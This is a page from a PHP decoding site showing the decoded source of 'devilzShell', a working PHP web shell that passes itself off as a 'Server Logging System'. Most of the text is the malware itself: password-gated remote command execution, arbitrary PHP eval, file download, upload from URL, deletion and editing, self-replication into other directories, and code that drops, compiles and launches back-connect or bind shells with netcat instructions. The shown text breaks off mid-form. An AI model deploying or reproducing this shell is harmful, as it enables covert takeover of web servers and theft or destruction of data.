Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php // // devilzShell <[php]> // ^^^^^^^^^^^^ // author: b374k // greets: devilzc0der(s)..

Decoded Output download

<?php
//
// devilzShell <[php]>
// ^^^^^^^^^^^^
// author: b374k
// greets: devilzc0der(s) and all of you who love peace and freedom
//
//
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// Jayalah Indonesiaku


//################ VARIABLES GOES HERE #######################=============================================]
$shell_name = "devilzShell";
$shell_fake_name = "Server Logging System";
$shell_title = " :: ".$shell_name." ::";
$shell_version = "v1";
$shell_password = "devilzc0der";
$shell_fav_port = "12345";
$shell_color = "#374374";

// server software
$xSoftware = trim(getenv("SERVER_SOFTWARE"));
// uname -a
$xSystem = trim(php_uname());
// server ip
$xServerIP = $_SERVER["SERVER_ADDR"];
// your ip ;-)
$xClientIP = $_SERVER['REMOTE_ADDR'];

$xHeader = $xSoftware."<br />".$xSystem."<br />Server IP: <span class=\"gaul\">[ </span>".$xServerIP."<span class=\"gaul\"> ]</span>&nbsp;&nbsp;&nbsp;Your IP: <span class=\"gaul\">[ </span>".$xClientIP."<span class=\"gaul\"> ]</span>";

//################# RESOURCES GOES HERE #######################=============================================]
$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw
4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4
E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx
dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei
oL98whmAt8bv3O7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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$shell_style = "
<style type=\"text/css\">
*{
	font-family:Tahoma,Verdana,Arial;
	font-size:12px;
	line-height:20px;
}

form{
	margin:0 auto;
	text-align:center;
}

body{
	background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #333333;
	color:#ffffff;
	margin:0;
	padding:0;
}

input,textarea{
	background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
	height:24px;
	color:#ffffff;
	padding:1.5px 4px 0 4px;
	margin:2px 0;
	border:1px solid ".$shell_color.";
	border-bottom:4px solid ".$shell_color.";
	vertical-align:middle;
}

input:hover,textarea:hover{
	background:#0a0a0a;
}

a{
	color:#ffffff;
	text-decoration:none;
}

a:hover{
	border-bottom:1px solid #ffffff;
}

h1{
	font-size:17px;
	height:20px;
	padding:2px 8px;
	background:".$shell_color.";
	border:0;
	border-left:4px solid ".$shell_color.";
	border-right:4px solid ".$shell_color.";
	border-bottom:1px solid #222222;
	margin:0 auto;
	width:90%;
}

h1 img{
	vertical-align:bottom;
}

.box{
	margin:0 auto;
	background:#000000;
	border:4px solid ".$shell_color.";
	padding:4px 8px;
	width:90%;
	text-align:justify;
}

.gaul{
	color:".$shell_color.";
}



.result, .boxcode{
	margin:0 auto;
	border:1px solid ".$shell_color.";
	font-family:Lucida Console,Tahoma,Verdana;
	padding:8px;
	text-align:justify;
	overflow:hidden;
	color:#ffffff;
}


#explorer, table{
	width:100%;
}

table th{
	border-bottom:1px solid ".$shell_color.";
	background:#111111;
	padding:4px;
}

table td{
	padding:4px;
	border-bottom:1px solid #111111;
	vertical-align:top;
}

.tblExplorer tr:hover, .hexview td:hover{
	background:".$shell_color.";
}


.hidden{
	display:none;
}
.tblbox td  {
	margin:0;
	padding:0;
	border-bottom:1px solid #222222;
}

.tblbox tr:hover{
	background:none;
}

#mainwrapper{
	width:100%;
	margin:20px auto;
	text-align:center;
}
#wrapper{
	width:90%;
	margin:auto;

}

.cmdbox{
	border-top:1px solid ".$shell_color.";
	border-bottom:1px solid ".$shell_color.";
	margin:4px 0;
	width:100%;
}

.fpath{
	border-top:1px solid ".$shell_color.";
	border-bottom:1px solid ".$shell_color.";
	margin:4px 0;
	padding:4px 0;
}

.fprop{
	border-top:1px solid ".$shell_color.";
	border-bottom:1px solid ".$shell_color.";
	margin:4px 0;
	padding:4px 0;
}


.bottomwrapper{
	text-align:center;
}

.btn{
	height:24px;
	background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
	font-size:10px;
	text-align:right;
}

.hexview , .hexview td{
	font-family: Lucida Console,Tahoma;
}
</style>
";
//################# FUNCTION GOES HERE #######################==============================================]
function xclean($text){
	if (get_magic_quotes_gpc()) {
		 $text = stripslashes($text);
	}
	return $text;
}
function xcleanpath($path){
	if(is_dir($path)){
		$path = urldecode(trim(xclean($path)));
		$xSlash = DIRECTORY_SEPARATOR;
		while(substr($path,-1) == $xSlash){
			$path = rtrim($path,$xSlash);
		}
		return $path.$xSlash;
	}
	return $path;
}
function xparsedir($dir){
	$xSlash = DIRECTORY_SEPARATOR;
	$dirs = explode($xSlash,$dir);
	$buff = "";
	$dlink = "";
	$system = trim(php_uname());
	if(strtolower(substr($system,0,3)) != "win") {
		$dlink .= urlencode($xSlash);
		$buff .= "<a href=\"?dir=".$dlink."\">".$xSlash."</a>&nbsp;";
	}
	foreach($dirs as $d){
		$d = trim($d);
		if($d != ""){
			$dlink .= urlencode($d.$xSlash);
			$buff .= "<a href=\"?dir=".$dlink."\">".$d." ".$xSlash."</a>&nbsp;";
		}
	}
	return "<span class=\"gaul\">[ </span>".$buff."<span class=\"gaul\"> ]</span>";
}
function xfileopen($file){
	$content = "";
	if(is_file($file) || is_link($file)){
		if($fp = fopen($file,"rb")){
			while(!feof($fp)) {
				$content .= fread($fp,1024);
			}
			fclose($fp);
		}
	}
	return $content;
}
function xfilesave($file,$content){
	$dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
	if(!is_dir($dir)) mkdir($dir);
	if($file != ""){
		$handle = fopen($file, "wb");
		if(fwrite($handle, $content) || ($content == "")){
			fclose($handle);
			return true;
		}
		fclose($handle);
	}
	return false;
}
function xtempfolder() {
    if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
    if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
    if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
    $tempfile=tempnam(__FILE__,'');
    if (file_exists($tempfile)) {
      unlink($tempfile);
      return realpath(dirname($tempfile));
    }
    return null;
}
function xrmdir($dir) {
    $files = glob($dir . '*', GLOB_MARK);
    foreach( $files as $f ){
		if(is_dir($f)) xrmdir($f);
		else unlink($f);
	}
    if (is_dir($dir)) rmdir($dir);
}
function xhighlight($file){
	$color_bg = ini_get('highlight.bg');
	$color_html = ini_get('highlight.html');
	$color_keyword = ini_get('highlight.keyword');
	$color_default = ini_get('highlight.default');
	$color_comment = ini_get('highlight.comment');
	$color_string = ini_get('highlight.string');
	$con = @highlight_file($file,true);
	$con = str_ireplace($color_keyword,"#FF0082",$con);
	$con = str_ireplace($color_default,"#F00000",$con);
	$con = str_ireplace($color_string,"#888888",$con);
	$con = str_ireplace($color_html,"#EEEEEE",$con);
	return $con;
}
function xfilesummary($file){
	$buff = "";
	if(is_file($file) || is_link($file)){
		$buff = "Filesize : ".xparsefilesize(xfilesize($file))." ( ".xfilesize($file)." ) <span class=\"gaul\"> :: </span>Permission : ".xfileperms($file)." ( ".xfileowner($file)." )<span class=\"gaul\"> :: </span>modified : ".xfilelastmodified($file);
	}
	return $buff;
}
function xparsefilesize($size){
	if($size <= 1024) return $size;
	else{
		if($size <= 1024*1024) {
			$size = sprintf("%.02f",@round($size / 1024,2));
			return $size." kb";
		}
		else {
			$size = sprintf("%.02f",@round($size / 1024 / 1024,2));
			return $size." mb";
		}
	}
}
function xfilesize($file){
	if(is_file($file) || is_link($file)){
		if($size = filesize($file)){
			return $size;
		}
	}
	return "0";
}
function xfileperms($file){
	$isreadable = "-";
	$iswriteable = "-";
	if(is_file($file) || is_dir($file) || is_link($file)){
		if(is_readable($file)) $isreadable = "r";
		if(is_writeable($file)) $iswriteable = "w";
	}
	return $isreadable . " / " . $iswriteable;
}
function xfileowner($file){
	if(is_file($file) || is_dir($file) || is_link($file)){
		$fowner = fileowner($file);
		$fgroup = filegroup($file);
		if(function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) {
				$name=posix_getpwuid($fowner);
				$group=posix_getgrgid($fgroup);
				return trim($name['name'].":".$group['name']);
		}
		else{
			return "???";
		}
	}
	return "???";
}
function xdrive(){
	$letters = "";
	foreach (range("A","Z") as $letter){
		$bool = @is_dir($letter.":\");
		if($bool){
			$letters .= "<a href=\"?dir=".$letter.":\\"><span class=\"gaul\">[ </span>";
			$letters .= $letter;
			$letters .= "<span class=\"gaul\"> ]</span</a> ";
		}
	}
	if($letters != "") $letters .= "<br />";
	return $letters;
}
function xfilelastmodified($file){
	if(is_file($file) || is_dir($file) || is_link($file)){
		$lastm = date("d-M-Y H:i",filemtime($file));
		return $lastm;
	}
	return "???";
}
function xrunexploit($fpath,$base64,$port,$type){
	$con = base64_decode($base64);
	$system = trim(php_uname());
	$final = "";
	if(preg_match("/win/i",$system)){
		$fname = "bd.exe";
		$ip = "";
		$ok = false;
		$fpath = $fpath.$fname;
		if(is_file($fpath)) unlink($fpath);
		if(!xfilesave($fpath,$con)){
			$tmp = xcleanpath(xtempfolder());
			$fpath = $tmp.$fname;
			if(xfilesave($fpath,$con)) $ok = true;
		}
		else $ok = true;
		if($ok){
			$fpath = trim($fpath);
			if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
			$final .= $fpath." ".$port." ".$ip;
			ekse(trim($final));
			return true;
		}
	}
	else {
		if($type == 'connect') $fname = "back";
		else $fname = "bind";
		$ip = "";
		$ok = false;
		$fpath = $fpath.$fname;
		if(is_file($fpath.".c")) unlink($fpath.".c");
		if(!xfilesave($fpath.".c",$con)){
			$tmp = xcleanpath(xtempfolder());
			$fpath = $tmp.$fname;
			if(xfilesave($fpath.".c",$con)) $ok = true;
		}
		else $ok = true;
		if($ok){
			$fpath = trim($fpath);
			if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
			ekse("gcc ".$fpath.".c -o ".$fpath);
			ekse("chmod +x ".$fpath);
			if(is_file($fpath)){
				$final .= $fpath." ".$port." ".$ip;
				ekse(trim($final));
				return true;
			}
			else return false;
		}
	}
	return false;
}
function xeval($code){
	$code = xclean($code);
	@ob_start();
	@eval($code);
	$buff = @ob_get_contents();
	@ob_end_clean();
	return $buff;
}
function ekse($cmd){
	if(function_exists('system')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('exec')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists('passthru')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('shell_exec')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}
function xdir($path){
	$path = trim($path);
	$path = xcleanpath($path);
	if(is_dir($path)){
		$fname = array();
		$dname = array();
		if($dh = @scandir($path)){
			foreach($dh as $file){
				if(is_dir($file)){
					$dname[] = $file;
				}
				else{
					$fname[] = $file;
				}
			}
		}
		else{
			if($dh = @opendir($path)){
				while($file = @readdir($dh)){
					if(@is_dir($file)){
						$dname[] = $file;
					}
					else{
						$fname[] = $file;
					}
				}
				@closedir($dh);
			}
		}
		natcasesort($fname);
		natcasesort($dname);
		$buff = "<div id=\"explorer\"><table class=\"tblExplorer\">
		<tr><th>Filename</th>
		<th style=\"width:80px;\">Filesize</th>
		<th style=\"width:80px;\">Permission</th>
		<th style=\"width:150px;\">Last Modified</th>
		<th style=\"width:180px;\">Action</th></tr>";
		foreach($dname as $d){
			$sd = $d;
			if($d == "..") {
				$nextdir = "..".DIRECTORY_SEPARATOR."..";
				$d = xcleanpath(realpath($sd));
			}
			elseif($d == ".") {
				$nextdir = "..";
				$d = xcleanpath(realpath($sd));
			}
			else {
				$nextdir = ".";
				$d = xcleanpath(realpath(".".DIRECTORY_SEPARATOR.$sd));
			}
			$dir = $d;
			$nextdir = xcleanpath(realpath($nextdir));
			$buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?dir=".urlencode($d)."';\">
			<td><span style=\"font-weight:bold;\"><a href=\"?dir=".$dir."\">[</span> ".$sd." <span style=\"font-weight:bold;\">]</span></a></td>";
			$buff .= "<td>DIR</td>";
			$buff .= "<td style=\"text-align:center;\">".xfileperms($d)."</td>";
			$buff .= "<td style=\"text-align:center;\">".xfilelastmodified($d)."</td>";
			$buff .= "<td style=\"text-align:center;\"><a href=\"?dir=".$dir."&properties=".xcleanpath(realpath($d))."\">Properties</a> | <a href=\"?dir=".$nextdir."&del=".xcleanpath(realpath($d))."\">Remove</a></td>";
			$buff .= "</tr>";
		}
		foreach($fname as $f){
			$sf = $f;
			$f = $path.$f;
			$view = "?dir=".urlencode($path)."&view=".urlencode($f);
			$buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location='?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."';\"><td>
			<a href=\"?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."\">
			".$sf."</a></td>";
			$buff .= "<td>".xparsefilesize(xfilesize($f))."</td>";
			$buff .= "<td style=\"text-align:center;\">".xfileperms($f)."</td>";
			$buff .= "<td style=\"text-align:center;\">".xfilelastmodified($f)."</td>";
			$buff .= "<td style=\"text-align:center;\"><a href=\"".$view."\">Edit</a> | <a href=\"?get=".$f."\">Download</a> | <a href=\"?dir=".xcleanpath($path)."&del=".$f."\">Remove</a></td>";
			$buff .= "</tr>";
		}
		$buff .= "</table></div>";
		return $buff;
	}
}
//################# INIT GOES HERE #######################==================================================]
error_reporting(0);
@set_time_limit(0);
ini_set("allow_url_fopen" ,1);
ini_set("allow_url_include" ,1);
ini_set("open_basedir",NULL);


if(isset($_POST['passw'])){
	$check = trim($_POST['passw']);
	if($check == $shell_password){
	setcookie("pass",$check,time() + 3600*24*7);
	$m = $_SERVER['SCRIPT_NAME'];
	header("Location: ".$m);
	die();
	}
	else setcookie("pass",$check,time() - 3600*24*7);
}
if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
else $check = "";
if($check == $shell_password){
 $auth = true;
 }
else $auth = false;
if(isset($_GET['img'])){
	$file = xclean($_GET['img']);
	if(is_file($file)){
		@ob_clean();
		$inf = getimagesize($file);
   		$ext = explode(basename($file),".");
   		$ext = $ext[count($ext)-1];
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public");
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  		@header("Cache-control: max-age=".(60*60*24*7));
   	 	@readfile($file);
		exit;
	}
	else{
		$file = $$file;
		$data = base64_decode($file);
		@header("Content-type: image/png");
		@header("Cache-control: public");
		echo $data;
		exit;
	}
}
if(isset($_GET['get']) && ($_GET['get'] != "")){
	$file = xclean($_GET['get']);
	$filez = @file_get_contents($file);
	header("Content-type: application/octet-stream");
	header("Content-length: ".strlen($filez));
	header("Content-disposition: attachment; filename=\"".basename($file)."\";");
	echo $filez;
	exit;
}
$xCwd = xcleanpath(getcwd());
if(isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))){
	$port = $_GET['bportC'];
	$dir = xcleanpath(xclean(trim($_GET['dir'])));
	$system = trim(php_uname());
	if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
	else $base64 = $xBack;
	if(xrunexploit($dir,$base64,$port,"connect")){
	}
}
elseif(isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))){
	$port = $_GET['lportC'];
	$dir = xcleanpath(xclean(trim($_GET['dir'])));
	$system = trim(php_uname());
	if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
	else $base64 = $xBind;
	if(xrunexploit($dir,$base64,$port,"listen")){
	}
}
if(isset($_GET['dir']) && ($_GET['dir'] != "")){
	$newdir = xcleanpath(xclean(trim($_GET['dir'])));
	if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
		$newdir = xcleanpath(xclean(trim($_GET['properties'])));
	}
	if(is_dir($newdir)){
		if(chdir($newdir)) $xCwd = $newdir;
	}
	else{
		$newdir = dirname($newdir);
		if(is_dir($newdir)) if(chdir($newdir)) $xCwd = $newdir;
	}
	if(isset($_POST['btnNewUploadUrl'])){
		$filename = xclean(trim($_POST['filename']));
		$fileurl = xclean(trim($_POST['fileurl']));
		if($filename == "") $filename = basename($fileurl);
		$filepath = $newdir.$filename;
		if($fileurl != ""){
			$con = xfileopen($fileurl);
			xfilesave($filepath,$con);
		}
	}
	elseif(isset($_POST['btnNewUploadLocal'])){
		if(is_uploaded_file($_FILES['filelocal']['tmp_name'])){
			$filename = xclean(trim($_POST['filename']));
			if($filename == "") $filename = $_FILES['filelocal']['name'];
			$tmp_name = $_FILES['filelocal']['tmp_name'];
			$filepath = $newdir.$filename;
			$stat = @move_uploaded_file($tmp_name,$filepath);
		}
	}
	if(isset($_GET['foldername']) && ($_GET['foldername'] != "")){
		$fname = xcleanpath(xclean(trim($_GET['foldername'])));
		if(!is_dir($newdir.$fname))	mkdir($newdir.$fname);
	}
	elseif(isset($_GET['del']) && ($_GET['del'] != "")){
		$fdel = xclean(trim($_GET['del']));
		if(is_file($fdel) || is_link($fdel)) unlink($fdel);
		elseif(is_dir($fdel)){
			xrmdir($fdel);
			$newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
			$newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
		}
	}
	elseif(isset($_GET['childname']) && ($_GET['childname'] != "")){
		$childname = $newdir.xclean(trim($_GET['childname']));
		$con = xfileopen($_SERVER['SCRIPT_FILENAME']);
		xfilesave($childname,$con);
	}
}
if(isset($_GET['cmd']) && ($_GET['cmd'] != "")){
	$cmd = xclean($_GET['cmd']);
	if(preg_match("/^cd(.*)/i",$cmd,$c)){
		$newdir = trim($c[1]);
		$newdir = trim(urldecode(xclean($newdir)));
		if($newdir == "\")	$xCwd = substr($xCwd,0,3);
		else{
			if(strpos($newdir,":") > 0){
				if(is_dir($newdir))	$xCwd = xcleanpath(realpath($newdir));
			}
			elseif(is_dir($newdir)){
				$xCwd = xcleanpath(realpath($newdir));
			}
			else{
				if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir));
			}
		}
		$result = xdir($xCwd);
	}
	elseif(preg_match("/^(\w{1}:.*)/",$cmd,$dc)){
		$newdir = trim($dc[1]);
		if(is_dir($newdir)){
			$xCwd = xcleanpath($newdir);
		}
		$result = xdir($xCwd);
	}
	else {
		$result = ekse($cmd);
		if($result != "") $result = nl2br(str_replace(" ","&nbsp;",htmlentities($result)));
		else {
			$result = xdir($xCwd);
		}
	}

}
elseif(isset($_GET['eval']) && ($_GET['eval'] != "")){
	$result = htmlspecialchars(xeval($_GET['eval']));
}
elseif(isset($_GET['properties']) && ($_GET['properties'] != "")){
	$fname = xcleanpath(xclean($_GET['properties']));
	if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
		$oldname = xclean($_GET['oldfilename']);
		rename($oldname,$fname);
	}
	$dir = xclean($_GET['dir']);
	$fcont = "";
	$fview = "";
	if(is_dir($fname)){
		$fsize = "DIR";
		$fcont = xdir($fname);
		$faction = "<a href=\"?dir=".xcleanpath(realpath($fname))."&properties=".xcleanpath(realpath($fname))."\">Properties</a> | <a href=\"?dir=".xcleanpath(realpath($fname.".."))."&del=".xcleanpath(realpath($fname))."\">Remove</a>";
	}
	else{
		$fname = rtrim($fname,DIRECTORY_SEPARATOR);
		$fsize = xparsefilesize(xfilesize($fname))." <span class=\"gaul\">( </span>".xfilesize($fname)." bytes<span class=\"gaul\"> )</span>";
		$type = "";
		if(isset($_GET['type'])) $type = trim(xclean($_GET['type']));
		$iinfo = getimagesize($fname);
		$imginfo = "";
		if($type == ""){
			if(is_array($iinfo)) $type = 'img';
			else $type = 'text';
		}
		if($type == 'code'){
			if($code = xhighlight($fname))
			$fcont = "<div class=\"boxcode\">".$code."</div>";
		}
		elseif($type == 'img'){
			$width = (int) $iinfo[0];
			$height = (int) $iinfo[1];
			$imginfo = "Image type = ( ".$iinfo['mime']." )<br />Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
			if($width > 800){
				$width = 800;
				$imglink = "<p><a href=\"?img=".$fname."\" target=\"_blank\"><span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
			}
			else $imglink = "";

			$fcont = "<div style=\"text-align:center;width:100%;\">".$imglink."<img width=\"".$width."\" src=\"?img=".$fname."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
		}
		else{
			$code = htmlspecialchars(file_get_contents($fname));
			$fcont = "<div class=\"boxcode\">".nl2br($code)."</div>";
		}
		$faction = "<a href=\"?dir=".xcleanpath($dir)."&view=".$fname."\">Edit</a> | <a href=\"?get=".$fname."\">Download</a> | <a href=\"?dir=".xcleanpath($dir)."&del=".$fname."\">Remove</a>";
		$fview = "<a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=text\"><span class=\"gaul\">[ </span>text<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=code\"><span class=\"gaul\">[ </span>code<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=img\"><span class=\"gaul\">[ </span>image<span class=\"gaul\"> ]</span></a>";
	}
	$fowner = xfileowner($fname);
	$fperm = xfileperms($fname);
	$result = "<div style=\"display:inline;\">
	<form action=\"?\" method=\"get\" style=\"margin:0;padding:1px 8px;text-align:left;\">
	<input type=\"hidden\" name=\"dir\" value=\"".$dir."\" />
	<input type=\"hidden\" name=\"oldfilename\" value=\"".$fname."\" />".$faction." |
	<span><input style=\"width:50%;\" type=\"text\" name=\"properties\" value=\"".$fname."\" />
	<input style=\"width:120px\" class=\"btn\" type=\"submit\" name=\"btnRename\" value=\"Rename\" />
	</span>
	<div class=\"fprop\">
	Size = ".$fsize."<br />".$imginfo."
	Owner = <span class=\"gaul\">( </span>".$fowner."<span class=\"gaul\"> )</span><br />
	Permission = <span class=\"gaul\">( </span>".$fperm."<span class=\"gaul\"> )</span><br />
	Create Time = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filectime($fname))."<span class=\"gaul\"> )</span><br />
	Last Modified = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filemtime($fname))."<span class=\"gaul\"> )</span><br />
	Last Accessed = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@fileatime($fname))."<span class=\"gaul\"> )</span><br />
	".$fview."
	</div>
	".$fcont."
	</form>
	</div>
	";
}
elseif((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))){
	$msg = "";
	if(isset($_POST['save']) && ($_POST['save'] == "Save As")){
		$file = xclean(trim($_POST['saveAs']));
		$content = xclean($_POST['filesource']);
		if(xfilesave($file,$content)) $pesan = "File Saved";
		else  $pesan = "Failed to save file";
		$msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>".$pesan."<span class=\"gaul\"> ]</span></span>";
	}
	else {
		if(isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view']));
		else $file = $xCwd.xclean(trim($_GET['filename']));
	}
	$result = xfileopen($file);
	$result = htmlentities($result);
	$result = "
	<p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=".$xCwd."&properties=".$file."\">".xfilesummary($file)."</a>".$msg."</p><div style=\"clear:both;margin:0;padding:0;\"></div>
	<form action=\"?dir=".$xCwd."&view=".$file."\" method=\"post\">
<textarea name=\"filesource\" style=\"width:100%;height:200px;\">".$result."</textarea>
	<input type=\"text\" style=\"width:80%;\"  name=\"saveAs\" value=\"".$file."\" />
	<input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Save As\" />
	</form>
	";
}
else{
	$result = xdir($xCwd);
}
//################# Finalizing #######################======================================================]
if($auth){
	if(isset($_GET['bportC'])) $bportC = $_GET['bportC'];
	else $bportC = $shell_fav_port;
	if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
	else $lportC = $shell_fav_port;
	$html_title = $shell_title." ".$xCwd;
	$html_head = "
<title>".$html_title."</title>
<link rel=\"SHORTCUT ICON\" href=\"".$_SERVER['SCRIPT_NAME']."?img=icon\" />
".$shell_style."
<script type=\"text/javascript\">
function updateInfo(boxid,typ){
	if(typ == 0){
		var pola = 'example: (using netcat) run &quot;nc -l -p __PORT__&quot; and then press Connect';
	}
	else{
		var pola = 'example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." __PORT__&quot;';
	}

	var portnum = document.getElementById(boxid).value;

	var hasil = pola.replace('__PORT__', portnum);
	document.getElementById(boxid+'_').innerHTML = hasil;
}
function show(boxid){
	var box = document.getElementById(boxid);
	if(box.style.display != 'inline'){
		document.getElementById('newfile').style.display = 'none';
		document.getElementById('newfolder').style.display = 'none';
		document.getElementById('newupload').style.display = 'none';
		document.getElementById('newchild').style.display = 'none';
		document.getElementById('newconnect').style.display = 'none';
		document.getElementById('div_eval').style.display = 'none';

		box.style.display = 'inline';
		box.focus();
	}
	else box.style.display = 'none';
}
function highlighthexdump(address){
	var target = document.getElementById(address);
	target.style.background = '".$shell_color."';
}
function unhighlighthexdump(address){
	var target = document.getElementById(address);
	target.style.background = 'none';
}
</script>
";
$html_body = "
<div id=\"wrapper\">
<h1 onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\"  onclick=\"window.location= '?';\"><a href=\"?\">".$shell_title."</a></h1>
<div class=\"box\">".$xHeader."
<div class=\"fpath\">
".xdrive().xparsedir($xCwd)."
</div>
<div class=\"menu\">
<a href=\"javascript:show('newfile');\"><span class=\"gaul\">[ </span> New File<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newfolder');\"><span class=\"gaul\">[ </span>New Folder<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newchild');\"><span class=\"gaul\">[ </span>Replicate<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newupload');\"><span class=\"gaul\">[ </span>Upload<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('newconnect');\"><span class=\"gaul\">[ </span>BindShell<span class=\"gaul\"> ]</span></a>
<a href=\"javascript:show('div_eval');\"><span class=\"gaul\">[ </span>PHP Eval<span class=\"gaul\"> ]</span></a>
</div>
<div class=\"hidden\" id=\"newconnect\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<table class=\"tblBox\" style=\"width:100%;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<tr><td style=\"width:130px;\">BackConnect</td><td style=\"width:200px;\">
Port&nbsp;<input maxlength=\"5\" id=\"backC\" onkeyup=\"updateInfo('backC',0);\" style=\"width:60px;\" type=\"text\" name=\"bportC\" value=\"".$bportC."\" />
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnConnect\" value=\"Connect\" />
</td>
<td><span id=\"backC_\" class=\"msgcon\">example: (using netcat) run &quot;nc -l -p ".$bportC."&quot; and then press Connect</span></td>
</tr>
<tr><td>Listen</td><td>
Port&nbsp;<input maxlength=\"5\" id=\"listenC\" onkeyup=\"updateInfo('listenC',1);\" style=\"width:60px;\" type=\"text\" name=\"lportC\" value=\"".$lportC."\" />
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnListen\" value=\"Listen\" />
</td>
<td><span id=\"listenC_\" class=\"msgcon\">example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." ".$lportC."&quot;</span></td>
</tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newfolder\">
<form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Foldername</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"foldername\" value=\"newfolder\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfolder\" value=\"Create\" />
</td></tr>
</table>
</form>
</div>
<div class=\"hidden\" id=\"newfile\">
<form action=\"?\" method=\"get\" style=\"display:inline;margin:0;padding:0;\">
<input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">New Filename</td><td style=\"width:304px;\">
<input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"newfile\" />
</td><td>
<input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfile\" value=\"Create\" />
</td></tr>
</form>
</table>
</div>
<div class=\"hidden\" id=\"newupload\">
<form method=\"post\" action=\"?dir=".$xCwd."\" enctype=\"multipart/form-data\" style=\"display:inline;margin:0;padding:0;\">
<table class=\"tblBox\" style=\"width:560px;\">
<tr><td style=\"width:120px;\">Save as</td><td><input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"\" /></td></tr>
